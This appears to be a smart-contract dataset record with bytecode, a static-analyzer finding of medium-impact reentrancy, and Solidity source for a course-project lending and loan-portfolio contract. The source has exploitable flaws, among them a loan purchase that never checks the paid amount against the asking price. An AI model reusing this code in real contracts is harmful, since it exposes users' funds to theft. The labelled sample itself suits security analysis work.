ffffffffffffffffffffffffffffff81166116c1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611b4c6026913960400191505060405180910390fd5b6000805460405173ffffffffffffffffffffffffffffffffffffffff808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b3390565b600061179483836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118c6565b90505b92915050565b60008282018381101561179457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008261182057506000611797565b8282028284828161182d57fe5b0414611794576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b726021913960400191505060405180910390fd5b600061179483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061197f565b6000818361196c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611931578181015183820152602001611919565b50505050905090810190601f16801561195e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5082848161197657fe5b06949350505050565b600081836119e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201818152835160248401528351909283926044909101919085019080838360008315611931578181015183820152602001611919565b5060008385816119f457fe5b0495945050505050565b5080546000825560020290600052602060002090810190611a1f9190611aa0565b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611a6357805160ff1916838001178555611a90565b82800160010185558215611a90579182015b82811115611a90578251825591602001919060010190611a75565b50611a9c929150611aed565b5090565b6103d491905b80821115611a9c576000611aba8282611b07565b506001810180547fffffffffffffffffffffffffffffffff00000000000000000000000000000000169055600201611aa6565b6103d491905b80821115611a9c5760008155600101611af3565b50805460018160011615610100020316600290046000825580601f10611b2d5750611a1f565b601f016020900490600052602060002090810190611a1f9190611aed56fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220b426f204567d8fd19cffd7f43dd30e2e309d53f7f06bf2b2d4eaf2e984eb39c064736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
3,696
0xd18838bb37fde8a5c990918aa31a93208227dcdb
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // by leandro.rawicz@coinfabrik.com for the consensys course /* function call order : constructor() function addBank(address _addressBank, uint256 _tokens) IsOwner public function addTokensToBank(address _bank, uint256 _tokens) IsOwner public function GetBankBalance() isBank public view returns (uint256) function removeBankToken(uint256 _value) isBank public function ChangeInterest(uint256 _installment, uint256 _value, uint256 _category, bool _enable) isBank public function findOutInterestByBank(uint256 _category, uint256 _amount, uint256 _installment) isBank public view returns(uint256 _value, bool _enable) function addClient (address _addressUser, uint256 _category) IsOwner public function ChangeClientCategory (address _client, uint256 _category) IsOwner public function GetClientCategory() isClient public view returns(uint256) function GetClientCategory(address _client) isBank public view returns(uint256) function findOutInterestByClientCategory(address _bankAddress, uint256 _amount, uint256 _installment) isClient public view returns(uint256 _value, bool _enable) function askForALoan(address _bankAddress, uint256 _amount, uint256 _installment) isClient public function GetLoansLenght(bool _pending) public isBank view returns (uint256) { function GetLoanInfo(uint256 _indexLoan, bool _pending) public view returns(uint256 _debt, address _client, uint256 _installment, uint256 _category , uint256 _amount, address _owner, uint256 _forSale){ function aproveLoan(uint256 _loanIndex) public isBank function getLoanIDbyClient(uint256 _indexLoan) isClient public view returns (uint256){ function getLoansLengthByClient() isClient public view returns(uint256){ function SellLoan(uint256 _indexLoan, uint256 _value) isLoanOwner(_indexLoan) public function BuyLoan(address _owner, uint256 _loanId, uint256 _value) isBank public function payOffClientDebt(uint256 _loanId, uint256 _value) isLoanOwner(_loanId) public function GetClientBalance() isClient public view returns (uint256 _value) function removeClientToken(uint256 _value) isClient public // Portfolios function createPortfolio(uint256 _idLoan) isBank public returns (uint256 _index) function countPortfolios(address _bankAddress) isBank public view returns (uint256 _result function addLoanToPortfolio(uint256 _indexPortfolio, uint256 _idLoan) isOwnerPortfolio (_indexPortfolio) public returns (bool _result) function GetLoanIdFromPortfolio(uint256 _indexPortfolio, uint256 _indexLoan) isBank public view returns(uint256 _ID){ function getPortfolioInfo (address _bankAddress, uint256 _indexPortfolio) isBank public view returns (uint256 _LoansLength, uint256 _forSale, address _owner){ function removeLoanFromPortfolio(uint256 _indexPortfolio, uint256 _idLoan) isOwnerPortfolio (_indexPortfolio) public returns (bool _result) function deletePortfolio(uint256 _indexPortfolio) isOwnerPortfolio(_indexPortfolio) public function sellPorftolio(uint256 _indexPortfolio, uint256 _value) isOwnerPortfolio (_indexPortfolio) public function buyPortfolio(address _owner, uint256 _indexPortfolio, uint256 _value) isBank public */ contract Base { using SafeMath for uint256; address public owner; struct Client { uint256 Tokens; address Owner; uint256 Category; uint256[] LoansID; } struct Bank { uint256 Tokens; address Owner; mapping (uint256=>strCateg) Category; uint256[] LoansID; Loan[] LoanPending; Portfolio[] Portfolios; } struct strCateg{ mapping(uint256=>strAmount) Amount; } struct strAmount{ mapping(uint256=>strInsta) Installment; } struct strInsta{ uint256 value; bool enable; } struct Loan{ uint256 Debt; uint256 Installment; uint256 Id; uint256 ForSale; address Client; address Owner; uint256 Category; uint256 Amount; uint256 StartTime; uint256 EndTime; } struct Portfolio{ uint256[] idLoans; address Owner; uint256 forSale; } mapping(address => Client) clients; mapping(address => Bank) banks; Loan[] loans; function () public payable{ require(false, "Should not go through this point"); } } contract ClientFunctions is Base{ modifier isClient(){ require(clients[msg.sender].Owner == msg.sender, "not a client"); _; } function askForALoan(address _bankAddress, uint256 _amount, uint256 _installment) isClient public { require(banks[_bankAddress].Owner==_bankAddress, "not a valid bank"); require(banks[_bankAddress].Category[clients[msg.sender].Category].Amount[_amount].Installment[_installment].enable, "you not apply for that loan"); Loan memory _loan; _loan.Debt = _amount; _loan.Debt = _loan.Debt.add(banks[_bankAddress].Category[clients[msg.sender].Category].Amount[_amount].Installment[_installment].value); _loan.Client = msg.sender; _loan.Owner = _bankAddress; _loan.Installment = _installment; _loan.Category = clients[msg.sender].Category; _loan.Amount = _amount; banks[_bankAddress].LoanPending.push(_loan); } function findOutInterestByClientCategory(address _bankAddress, uint256 _amount, uint256 _installment) isClient public view returns(uint256 _value, bool _enable){ _value = banks[_bankAddress].Category[clients[msg.sender].Category].Amount[_amount].Installment[_installment].value; _enable = banks[_bankAddress].Category[clients[msg.sender].Category].Amount[_amount].Installment[_installment].enable; } function removeClientToken(uint256 _value) isClient public{ require(clients[msg.sender].Tokens >= _value, "You don't have that many tokens"); clients[msg.sender].Tokens = clients[msg.sender].Tokens.sub(_value); } function getClientBalance() isClient public view returns (uint256 _value){ _value = clients[msg.sender].Tokens; } function getLoansLengthByClient() isClient public view returns(uint256){ return clients[msg.sender].LoansID.length; } function getLoanIDbyClient(uint256 _indexLoan) isClient public view returns (uint256){ return clients[msg.sender].LoansID[_indexLoan]; } function getClientCategory() isClient public view returns(uint256){ return clients[msg.sender].Category; } } contract BankFunctions is ClientFunctions{ modifier isBank(){ require(banks[msg.sender].Owner==msg.sender, "you are not a bank"); _; } modifier isLoanOwner(uint256 _id) { require(banks[msg.sender].Owner==msg.sender, "you are not a bank"); require(loans[_id].Owner == msg.sender, "not owner of loan"); _; } function GetClientCategory(address _client) isBank public view returns(uint256){ return clients[_client].Category; } function removeBankToken(uint256 _value) isBank public{ require(banks[msg.sender].Tokens >= _value, "You don't have that many tokens"); banks[msg.sender].Tokens = banks[msg.sender].Tokens.sub(_value); } function payOffClientDebt(uint256 _loanId, uint256 _value) isLoanOwner(_loanId) public{ require(loans[_loanId].Debt > 0); require(_value > 0); require(loans[_loanId].Debt>= _value); loans[loans.length-1].EndTime = now; loans[_loanId].Debt = loans[_loanId].Debt.sub(_value); } function ChangeInterest(uint256 _category, uint256 _amount, uint256 _installment, uint256 _value, bool _enable) isBank public{ banks[msg.sender].Category[_category].Amount[_amount].Installment[_installment].value = _value; banks[msg.sender].Category[_category].Amount[_amount].Installment[_installment].enable = _enable; } function GetBankBalance() isBank public view returns (uint256 ){ return banks[msg.sender].Tokens; } function findOutInterestByBank(uint256 _category, uint256 _amount, uint256 _installment) isBank public view returns(uint256 _value, bool _enable){ _value = banks[msg.sender].Category[_category].Amount[_amount].Installment[_installment].value; _enable = banks[msg.sender].Category[_category].Amount[_amount].Installment[_installment].enable; } } contract LoansFunctions is BankFunctions{ function SellLoan(uint256 _loanId, uint256 _value) isLoanOwner(_loanId) public { loans[_loanId].ForSale = _value; } function BuyLoan(address _owner, uint256 _loanId, uint256 _value) isBank public{ require(loans[_loanId].ForSale > 0, "not for sale"); require(banks[msg.sender].Tokens>= _value, "you don't have money"); SwitchLoanOwner( _owner, _loanId); banks[msg.sender].Tokens = banks[msg.sender].Tokens.sub(_value); banks[_owner].Tokens = banks[_owner].Tokens.add(_value); } function SwitchLoanOwner(address _owner, uint256 _loanId) internal{ //requisitos require(loans[_loanId].Debt> 0, "at least one of the loans is already paid"); require(loans[_loanId].Owner == _owner); uint256 _indexLoan; for (uint256 i; i<banks[_owner].LoansID.length; i++){ if (banks[_owner].LoansID[i] == _loanId){ _indexLoan = i; i = banks[_owner].LoansID.length.add(1); } } // asignar Loan banks[msg.sender].LoansID.push(_loanId); if (_indexLoan !=banks[_owner].LoansID.length - 1){ banks[_owner].LoansID[_indexLoan] = banks[_owner].LoansID[banks[_owner].LoansID.length - 1]; } delete banks[_owner].LoansID[banks[_owner].LoansID.length -1]; banks[_owner].LoansID.length --; loans[_loanId].ForSale = 0; loans[_loanId].Owner = msg.sender; } function aproveLoan(uint256 _loanIndex) public { require(banks[msg.sender].LoanPending[_loanIndex].Owner == msg.sender, "you are not the owner"); require(banks[msg.sender].Tokens>=banks[msg.sender].LoanPending[_loanIndex].Amount, "the bank does not have that amount of tokens"); banks[msg.sender].LoanPending[_loanIndex].Id =loans.length; loans.push(banks[msg.sender].LoanPending[_loanIndex]); loans[loans.length-1].StartTime = now; address _client = banks[msg.sender].LoanPending[_loanIndex].Client; uint256 _amount = banks[msg.sender].LoanPending[_loanIndex].Amount; banks[msg.sender].LoansID.push(loans.length - 1); clients[_client].LoansID.push(loans.length - 1); clients[_client].Tokens = clients[_client].Tokens.add(_amount); banks[msg.sender].Tokens = banks[msg.sender].Tokens.sub(_amount); if(banks[msg.sender].LoanPending.length !=1){ banks[msg.sender].LoanPending[_loanIndex] = banks[msg.sender].LoanPending [banks[msg.sender].LoanPending.length - 1]; } delete banks[msg.sender].LoanPending [banks[msg.sender].LoanPending.length - 1]; banks[msg.sender].LoanPending.length--; } // in case of _pending = true, the function will check the LoansPending function GetLoansLenght(bool _pending) public isBank view returns (uint256) { if (_pending){ return banks[msg.sender].LoanPending.length; }else{ return banks[msg.sender].LoansID.length; } } function GetLoanInfo(uint256 _indexLoan, bool _pending) public view returns(uint256 _debt, address _client, uint256 _installment, uint256 _category , uint256 _amount, address _owner, uint256 _forSale, uint256 _StartTime, uint256 _EndTime){ Loan memory _loan; if (_pending){ require (_indexLoan < banks[msg.sender].LoanPending.length, "null value"); _loan = banks[msg.sender].LoanPending[_indexLoan]; }else{ _loan = loans[_indexLoan]; } _debt = _loan.Debt; _client = _loan.Client; _installment = _loan.Installment; _category = _loan.Category; _amount = _loan.Amount ; _owner = _loan.Owner ; _forSale = _loan.ForSale; _StartTime = _loan.StartTime; _EndTime = _loan.EndTime; } } contract PortfolioFunctions is LoansFunctions{ modifier isOwnerPortfolio(uint256 _indexPortfolio) { require(banks[msg.sender].Portfolios[_indexPortfolio].Owner== msg.sender, "not the owner of portfolio"); _; } function createPortfolio(uint256 _idLoan) isBank public returns (uint256 ) { require(msg.sender== loans[_idLoan].Owner); Portfolio memory _portfolio; banks[msg.sender].Portfolios.push(_portfolio); banks[msg.sender].Portfolios[banks[msg.sender].Portfolios.length-1].idLoans.push(_idLoan); banks[msg.sender].Portfolios[banks[msg.sender].Portfolios.length-1].Owner= msg.sender; return banks[msg.sender].Portfolios.length-1; } function deletePortfolio(uint256 _indexPortfolio) isOwnerPortfolio(_indexPortfolio) public{ uint256 _PortfolioLength = banks[msg.sender].Portfolios.length; banks[msg.sender].Portfolios[_indexPortfolio] = banks[msg.sender].Portfolios[_PortfolioLength -1]; delete banks[msg.sender].Portfolios[_PortfolioLength -1]; banks[msg.sender].Portfolios.length --; } function addLoanToPortfolio(uint256 _indexPortfolio, uint256 _idLoan) isOwnerPortfolio (_indexPortfolio) public { for(uint256 i; i<banks[msg.sender].Portfolios[_indexPortfolio].idLoans.length;i++){ if (banks[msg.sender].Portfolios[_indexPortfolio].idLoans[i]==_idLoan){ require(false, "that loan already exists on the portfolio"); } } banks[msg.sender].Portfolios[_indexPortfolio].idLoans.push(_idLoan); } function removeLoanFromPortfolio(uint256 _indexPortfolio, uint256 _idLoan) isOwnerPortfolio (_indexPortfolio) public returns (bool _result){ uint256 Loanslength = banks[msg.sender].Portfolios[_indexPortfolio].idLoans.length; uint256 _loanIndex = Loanslength; for(uint256 i; i<Loanslength; i++){ if(_idLoan ==banks[msg.sender].Portfolios[_indexPortfolio].idLoans[i]){ _loanIndex = i; i= Loanslength; } } require(_loanIndex<Loanslength, "the loan is not in the portfolio"); if (_loanIndex !=banks[msg.sender].Portfolios[_indexPortfolio].idLoans.length-1){ banks[msg.sender].Portfolios[_indexPortfolio].idLoans[_loanIndex] = banks[msg.sender].Portfolios[_indexPortfolio].idLoans[Loanslength-1]; } delete banks[msg.sender].Portfolios[_indexPortfolio].idLoans[Loanslength -1]; banks[msg.sender].Portfolios[_indexPortfolio].idLoans.length --; if (banks[msg.sender].Portfolios[_indexPortfolio].idLoans.length == 0){ deletePortfolio(_indexPortfolio); } _result = true; } function getPortfolioInfo (address _bankAddress, uint256 _indexPortfolio) isBank public view returns (uint256 _LoansLength, uint256 _forSale, address _owner){ require(banks[_bankAddress].Portfolios[_indexPortfolio].Owner == _bankAddress, "not the owner of that portfolio"); _LoansLength = banks[_bankAddress].Portfolios[_indexPortfolio].idLoans.length; _forSale = banks[_bankAddress].Portfolios[_indexPortfolio].forSale; _owner = banks[_bankAddress].Portfolios[_indexPortfolio].Owner; } function sellPorftolio(uint256 _indexPortfolio, uint256 _value) isOwnerPortfolio (_indexPortfolio) public { require(banks[msg.sender].Portfolios[_indexPortfolio].idLoans.length>0); banks[msg.sender].Portfolios[_indexPortfolio].forSale = _value; } function buyPortfolio(address _owner, uint256 _indexPortfolio, uint256 _value) isBank public { require(banks[msg.sender].Tokens>=_value); require(banks[_owner].Portfolios[_indexPortfolio].idLoans.length > 0); require(banks[_owner].Portfolios[_indexPortfolio].forSale > 0); require(banks[_owner].Portfolios[_indexPortfolio].forSale == _value ); banks[msg.sender].Tokens = banks[msg.sender].Tokens.sub(_value); banks[_owner].Tokens = banks[_owner].Tokens.add(_value); for(uint256 a;a< banks[_owner].Portfolios[_indexPortfolio].idLoans.length ;a++){ SwitchLoanOwner(_owner, banks[_owner].Portfolios[_indexPortfolio].idLoans[a]); } if (_indexPortfolio !=banks[_owner].Portfolios.length-1){ banks[_owner].Portfolios[_indexPortfolio] = banks[_owner].Portfolios[banks[_owner].Portfolios.length-1]; } delete banks[_owner].Portfolios[banks[_owner].Portfolios.length -1]; banks[_owner].Portfolios.length--; } function countPortfolios(address _bankAddress) isBank public view returns (uint256 _result){ _result = banks[_bankAddress].Portfolios.length; } function GetLoanIdFromPortfolio(uint256 _indexPortfolio, uint256 _indexLoan) isBank public view returns(uint256 _ID){ return banks[msg.sender].Portfolios[_indexPortfolio].idLoans[_indexLoan]; } } contract GobernanceFunctions is PortfolioFunctions{ modifier IsOwner{ require(owner == msg.sender, "not the owner"); _; } function addBank(address _addressBank, uint256 _tokens) IsOwner public{ require(banks[_addressBank].Owner==0); require(clients[_addressBank].Owner == 0); banks[_addressBank].Owner=_addressBank; banks[_addressBank].Tokens = _tokens; } function addClient (address _addressClient, uint256 _category) IsOwner public{ require(banks[_addressClient].Owner!=_addressClient, "that addreess is a bank"); require(clients[_addressClient].Owner!=_addressClient, "that client already exists"); require (_category > 0); clients[_addressClient].Owner = _addressClient; clients[_addressClient].Category = _category; clients[_addressClient].Tokens = 0; } function addTokensToBank(address _bank, uint256 _tokens) IsOwner public{ require(banks[_bank].Owner==_bank, "not a Bank"); banks[_bank].Tokens = banks[_bank].Tokens.add(_tokens); } function changeClientCategory (address _client, uint256 _category) IsOwner public{ require (clients[_client].Owner==_client, "not a client"); clients[_client].Category = _category; } } contract LoansAndPortfolios is GobernanceFunctions{ constructor() public { owner = msg.sender; } }
0x6080604052600436106101955763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303ae3ded81146101e757806309596616146101ff5780630a82fd1c146102235780631591dc6a1461023b5780631744cfe4146102625780632240b6451461028e57806325a9d450146102af5780632a29c8d9146102c45780632dd854d4146102d95780632f38262a146102f4578063333244451461030957806343b254521461032d5780634d2ee8e7146103455780635a182b8b146103bc5780635fed22a4146103d757806384d83f07146103f25780638580b71b1461040d5780638da5cb5b146104255780638f3e568a146104565780639167c5ad14610496578063950e2d90146104ae57806398de921f146104d25780639d3de95a14610501578063a0cecb3b1461054c578063a375de4f1461056a578063a92988481461058e578063b617a4fd146105b5578063b85ea983146105ca578063c026327a146105eb578063d1e83b8b14610603578063dfbe058714610629578063e4c2830814610644575b6040805160e560020a62461bcd02815260206004820181905260248201527f53686f756c64206e6f7420676f207468726f756768207468697320706f696e74604482015290519081900360640190fd5b005b3480156101f357600080fd5b506101e560043561066b565b34801561020b57600080fd5b506101e5600160a060020a0360043516602435610bba565b34801561022f57600080fd5b506101e5600435610d3f565b34801561024757600080fd5b506101e5600160a060020a0360043516602435604435610ee4565b34801561026e57600080fd5b5061027c60043515156110a1565b60408051918252519081900360200190f35b34801561029a57600080fd5b5061027c600160a060020a036004351661113d565b3480156102bb57600080fd5b5061027c6111bf565b3480156102d057600080fd5b5061027c611236565b3480156102e557600080fd5b506101e56004356024356112b1565b34801561030057600080fd5b5061027c611484565b34801561031557600080fd5b506101e5600160a060020a03600435166024356114fb565b34801561033957600080fd5b5061027c6004356115ce565b34801561035157600080fd5b506103626004356024351515611798565b60408051998a52600160a060020a0398891660208b01528981019790975260608901959095526080880193909352941660a086015260c085019390935260e084019290925261010083019190915251908190036101200190f35b3480156103c857600080fd5b506101e56004356024356119ba565b3480156103e357600080fd5b506101e5600435602435611aca565b3480156103fe57600080fd5b5061027c600435602435611c93565b34801561041957600080fd5b5061027c600435611d45565b34801561043157600080fd5b5061043a611dd8565b60408051600160a060020a039092168252519081900360200190f35b34801561046257600080fd5b5061047d600160a060020a0360043516602435604435611de7565b6040805192835290151560208301528051918290030190f35b3480156104a257600080fd5b506101e5600435611ea0565b3480156104ba57600080fd5b506101e5600160a060020a0360043516602435611f9a565b3480156104de57600080fd5b506104ed60043560243561206d565b604080519115158252519081900360200190f35b34801561050d57600080fd5b50610525600160a060020a036004351660243561238f565b604080519384526020840192909252600160a060020a031682820152519081900360600190f35b34801561055857600080fd5b5061047d600435602435604435612557565b34801561057657600080fd5b506101e5600160a060020a03600435166024356125fb565b34801561059a57600080fd5b506101e5600160a060020a0360043516602435604435612709565b3480156105c157600080fd5b5061027c6129bb565b3480156105d657600080fd5b5061027c600160a060020a0360043516612a35565b3480156105f757600080fd5b506101e5600435612ab7565b34801561060f57600080fd5b506101e56004356024356044356064356084351515612bb0565b34801561063557600080fd5b506101e5600435602435612c59565b34801561065057600080fd5b506101e5600160a060020a0360043516602435604435612d4f565b3360008181526002602052604081206004018054919283929091908590811061069057fe5b600091825260209091206005600a909202010154600160a060020a031614610702576040805160e560020a62461bcd02815260206004820152601560248201527f796f7520617265206e6f7420746865206f776e65720000000000000000000000604482015290519081900360640190fd5b33600090815260026020526040902060040180548490811061072057fe5b600091825260208083206007600a909302019190910154338352600290915260409091205410156107c1576040805160e560020a62461bcd02815260206004820152602c60248201527f7468652062616e6b20646f6573206e6f742068617665207468617420616d6f7560448201527f6e74206f6620746f6b656e730000000000000000000000000000000000000000606482015290519081900360840190fd5b6003543360009081526002602052604090206004018054859081106107e257fe5b600091825260208083206002600a90930201820193909355338252909152604090206004018054600391908590811061081757fe5b6000918252602080832084546001808201875595855291909320600a928302909301805492909102909201908155818301549281019290925560028082015490830155600380820154818401556004808301549084018054600160a060020a03928316600160a060020a03199182161790915560058085015490860180549190931691161790556006808301549084015560078083015490840155600880830154908401556009918201549190920155805442919060001981019081106108da57fe5b600091825260208083206008600a90930201919091019290925533815260029091526040902060040180548490811061090f57fe5b600091825260208083206004600a9093020182015433845260029091526040909220018054600160a060020a039092169350908490811061094c57fe5b600091825260208083206007600a90930201919091015433835260028252604080842060038054918101805460018181018355918852868820600019948501910155600160a060020a038916808852818752938720825492810180549283018155885295872091909201910155909252549091506109d0908263ffffffff61312316565b600160a060020a038316600090815260016020908152604080832093909355338252600290522054610a08908263ffffffff61313c16565b33600090815260026020526040902090815560040154600114610b0c5733600090815260026020526040902060040180546000198101908110610a4757fe5b60009182526020808320338452600290915260409092206004018054600a909202909201919085908110610a7757fe5b600091825260209091208254600a909202019081556001808301549082015560028083015490820155600380830154908201556004808301549082018054600160a060020a03928316600160a060020a03199182161790915560058085015490840180549190931691161790556006808301549082015560078083015490820155600880830154908201556009918201549101555b33600090815260026020526040902060040180546000198101908110610b2e57fe5b60009182526020808320600a9092029091018281556001810183905560028082018490556003820184905560048083018054600160a060020a031990811690915560058401805490911690556006830185905560078301859055600883018590556009909201849055338452909152604090912001805490610bb4906000198301613454565b50505050565b600054600160a060020a03163314610c0a576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206136d3833981519152604482015290519081900360640190fd5b600160a060020a038083166000818152600260205260409020600101549091161415610c80576040805160e560020a62461bcd02815260206004820152601760248201527f7468617420616464726565737320697320612062616e6b000000000000000000604482015290519081900360640190fd5b600160a060020a03808316600081815260016020819052604090912001549091161415610cf7576040805160e560020a62461bcd02815260206004820152601a60248201527f7468617420636c69656e7420616c726561647920657869737473000000000000604482015290519081900360640190fd5b60008111610d0457600080fd5b600160a060020a03909116600081815260016020819052604082209081018054600160a060020a031916909317909255600282019290925555565b33600081815260026020526040812060050180549192849290919083908110610d6457fe5b6000918252602090912060016003909202010154600160a060020a031614610dc4576040805160e560020a62461bcd02815260206004820152601a6024820152600080516020613733833981519152604482015290519081900360640190fd5b336000908152600260205260409020600501805492506000198301838110610de857fe5b600091825260208083203384526002909152604090922060050180546003909202909201919085908110610e1857fe5b60009182526020909120825460039092020190610e389082908490613485565b506001828101549082018054600160a060020a031916600160a060020a03909216919091179055600291820154908201553360009081526020919091526040902060050180546000198401908110610e8c57fe5b60009182526020822060039091020190610ea682826134d5565b50600181018054600160a060020a03191690556000600291820181905533815260209190915260409020600501805490610bb49060001983016134f6565b33600081815260026020526040902060010154600160a060020a031614610f43576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b6000600383815481101515610f5457fe5b90600052602060002090600a020160030154111515610fbd576040805160e560020a62461bcd02815260206004820152600c60248201527f6e6f7420666f722073616c650000000000000000000000000000000000000000604482015290519081900360640190fd5b33600090815260026020526040902054811115611024576040805160e560020a62461bcd02815260206004820152601460248201527f796f7520646f6e27742068617665206d6f6e6579000000000000000000000000604482015290519081900360640190fd5b61102e8383613153565b3360009081526002602052604090205461104e908263ffffffff61313c16565b3360009081526002602052604080822092909255600160a060020a03851681522054611080908263ffffffff61312316565b600160a060020a039093166000908152600260205260409020929092555050565b336000818152600260205260408120600101549091600160a060020a0390911614611104576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b8115611123575033600090815260026020526040902060040154611138565b50336000908152600260205260409020600301545b919050565b336000818152600260205260408120600101549091600160a060020a03909116146111a0576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b50600160a060020a031660009081526001602052604090206002015490565b336000818152600160208190526040822001549091600160a060020a0390911614611222576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b503360009081526001602052604090205490565b336000818152600160208190526040822001549091600160a060020a0390911614611299576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b50336000908152600160205260409020600301545b90565b336000818152600260205260408120600501805491928592909190839081106112d657fe5b6000918252602090912060016003909202010154600160a060020a031614611336576040805160e560020a62461bcd02815260206004820152601a6024820152600080516020613733833981519152604482015290519081900360640190fd5b33600090815260026020526040902060050180548590811061135457fe5b600091825260209091206003909102015482101561143d5733600090815260026020526040902060050180548491908690811061138d57fe5b9060005260206000209060030201600001838154811015156113ab57fe5b90600052602060002001541415611432576040805160e560020a62461bcd02815260206004820152602960248201527f74686174206c6f616e20616c726561647920657869737473206f6e207468652060448201527f706f7274666f6c696f0000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600190910190611336565b33600090815260026020526040902060050180548590811061145b57fe5b600091825260208083206003909202909101805460018101825590835291200192909255505050565b336000818152600260205260408120600101549091600160a060020a03909116146114e7576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b503360009081526002602052604090205490565b600054600160a060020a0316331461154b576040805160e560020a62461bcd02815260206004820152600d60248201526000805160206136d3833981519152604482015290519081900360640190fd5b600160a060020a0380831660008181526001602081905260409091200154909116146115af576040805160e560020a62461bcd02815260206004820152600c60248201526000805160206136f3833981519152604482015290519081900360640190fd5b600160a060020a03909116600090815260016020526040902060020155565b60006115d8613522565b33600081815260026020526040902060010154600160a060020a031614611637576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b600380548490811061164557fe5b60009182526020909120600a9091020160050154600160a060020a0316331461166d57600080fd5b33600090815260026020908152604082206005018054600181018083559184529282902084518051929486946003909102909201926116af928492019061354d565b50602082810151600183018054600160a060020a031916600160a060020a03909216919091179055604092830151600292830155336000908152919052206005018054909150600019810190811061170357fe5b60009182526020808320600390920290910180546001810182559083528183200185905533808352600290915260409091206005018054600019810190811061174857fe5b600091825260208083206003929092029091016001018054600160a060020a031916600160a060020a03949094169390931790925533815260029091526040902060050154600019019392505050565b60008060008060008060008060006117ae613588565b8a156118ce57336000908152600260205260409020600401548c1061181d576040805160e560020a62461bcd02815260206004820152600a60248201527f6e756c6c2076616c756500000000000000000000000000000000000000000000604482015290519081900360640190fd5b33600090815260026020526040902060040180548d90811061183b57fe5b60009182526020918290206040805161014081018252600a90930290910180548352600181015493830193909352600283015490820152600382015460608201526004820154600160a060020a03908116608083015260058301541660a0820152600682015460c0820152600782015460e08201526008820154610100820152600990910154610120820152905061196b565b600380548d9081106118dc57fe5b60009182526020918290206040805161014081018252600a90930290910180548352600181015493830193909352600283015490820152600382015460608201526004820154600160a060020a03908116608083015260058301541660a0820152600682015460c0820152600782015460e0820152600882015461010082015260099091015461012082015290505b8060000151995080608001519850806020015197508060c0015196508060e0015195508060a0015194508060600151935080610100015192508061012001519150509295985092959850929598565b336000818152600260205260409020600101548391600160a060020a0390911614611a1d576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b6003805433919083908110611a2e57fe5b600091825260209091206005600a909202010154600160a060020a031614611aa0576040805160e560020a62461bcd02815260206004820152601160248201527f6e6f74206f776e6572206f66206c6f616e000000000000000000000000000000604482015290519081900360640190fd5b81600384815481101515611ab057fe5b90600052602060002090600a020160030181905550505050565b336000818152600260205260409020600101548391600160a060020a0390911614611b2d576040805160e560020a62461bcd0281526020600482015260126024820152600080516020613713833981519152604482015290519081900360640190fd5b6003805433919083908110611b3e57fe5b600091825260209091206005600a909202010154600160a060020a031614611bb0576040805160e560020a62461bcd02815260206004820152601160248201527f6e6f74206f776e6572206f66206c6f616e000000000000000000000000000000604482015290519081900360640190fd5b6000600384815481101515611bc157fe5b60009182526020909120600a909102015411611bdc57600080fd5b60008211611be957600080fd5b81600384815481101515611bf957fe5b60009182526020909120600a90910201541015611c1557600080fd5b600380544291906000198101908110611c2a57fe5b90600052602060002090600a020160090181905550611c6f82600385815481101515611c5257fe5b60009182526020909120600a90910201549063ffffffff61313c16565b6003805485908110611c7d57fe5b60009182526020909120600a9091020155505050565b336000818152600260205260408120600101549091600160a060020a